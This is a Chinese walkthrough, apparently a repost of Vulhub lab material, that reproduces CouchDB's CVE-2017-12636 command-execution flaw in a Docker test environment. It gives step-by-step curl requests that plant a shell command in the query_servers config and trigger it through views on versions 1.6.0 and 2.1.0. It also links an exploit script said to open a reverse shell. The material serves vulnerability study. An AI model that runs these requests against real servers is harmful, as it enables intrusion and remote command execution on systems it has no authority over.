Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

影响版本:小于 1.7.0 以及 小于 2.1.1

参考链接:

  • http://bobao.360.cn/learning/detail/4716.html
  • https://justi.cz/security/2017/11/14/couchdb-rce-npm.html

测试环境

Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本,如果你想测试2.1.0版本,可以启动CVE-2017-12635附带的环境。

执行如下命令启动Couchdb 1.6.0环境:

docker-compose up -d

启动完成后,访问http://your-ip:5984/即可看到Couchdb的欢迎页面。

漏洞复现

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用

《couchdb 垂直权限绕过漏洞(CVE-2017-12635)》

https://blog.csdn.net/whatday/article/details/106617994

先增加一个管理员用户。

1.6.0 下的说明

依次执行如下请求即可触发任意命令执行:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

其中,vulhub:vulhub为管理员账号密码。

第一个请求是添加一个名字为cmdquery_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。

第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。

第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmdquery_servers,最后触发命令执行。

2.1.0 下的说明

2.1.0中修改了我上面用到的两个API,这里需要详细说明一下。

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:

curl http://vulhub:vulhub@your-ip:5984/_membership

可见,我们这里只有一个node,名字是nonode@nohost

然后,我们修改nonode@nohost的配置:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

增加_view的同时即触发了query_servers中的命令。

利用脚本

写了一个简单的脚本 下载地址

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本(1或2),成功反弹shell:

靶机环境:

https://vulhub.org/#/environments/couchdb/CVE-2017-12636/

couchdb 任意命令执行漏洞(cve-2017-12636)相关推荐

  1. couchdb 任意命令执行漏洞 cve-2017-12636

    Couchdb简介: Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言 ...

  2. Couchdb 任意命令执行漏洞(CVE-2017-12636)复现

    简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...

  3. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  4. 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...

  5. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  6. eyoucms 1.5.5任意命令执行漏洞(0day)

    eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...

  7. wordpress 4.6任意命令执行漏洞(PwnScriptum)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为 ...

  8. TamronOS IPTV系统 ping 任意命令执行漏洞

    TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...

  9. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

最新文章

  1. Python学习之数组
  2. 丰农控股 CIO 王轶枭:万亿级农资市场,神策数据助力大丰收筑就数据驱动核心竞争力
  3. void和void*详解 v2
  4. RuntimeError: CUDA out of memory. Tried to allocate 132.00 MiB (GPU 2; 3.95 GiB total capacity; 3.41
  5. HanLP《自然语言处理入门》笔记--5.感知机模型与序列标注
  6. 毕淑敏:接纳自卑,感悟幸福
  7. python中的cv2模块能否保存图像的地理坐标信息_Python中plt.plot图像保存有白边,CV2.polyline,fillpoly的参数问题,图像保存颜色发生异常...
  8. 6410 android 4.4.2,365备用「永久地址0365.tv」飞凌嵌入式开发板飞凌i.MX6开发板 Android 系统编译...
  9. Could not autowire field: XXXXX.
  10. Linux移植libmodbus
  11. 用python绘制万花筒_Python实现PS滤镜的万花筒效果示例
  12. Flixel横板游戏制作教程(八)—MovingPlatforms(移动平台)
  13. 判断某整数是正整数、负整数还是零
  14. 数据,数据元素 数据项,数据对象的详细理解
  15. sed用法大全(2) 删除
  16. 快速查看Mac下软件的所有快捷键— CheatSheet
  17. Kiwix:离线的维基百科
  18. 使用Eclipse自带的工具检测和数据库连接时否成功
  19. java 获取一年后的日期_java 获取一年内的一段日期
  20. 数字电路硬件设计系列(五)之AT89C51/C52最小系统设计

热门文章

  1. unix环境高级编程 pdf_UNIX系统编程宝典,每一本都值得程序员珍藏
  2. python字符串find函数实现_python中实现查找字符串的find函数
  3. Segment Routing — Overview
  4. 前端Layui开发日常记录
  5. 使用angular5+ionic3+sqlite创建离线app应用
  6. lodash(一)数组
  7. 守护线程与线程阻塞的四种情况
  8. python网络爬虫 - 如何伪装逃过反爬虫程序
  9. openshift django目录结果
  10. 怎样才能在一般处理文件中创建新的Session和访问已经存在的Session?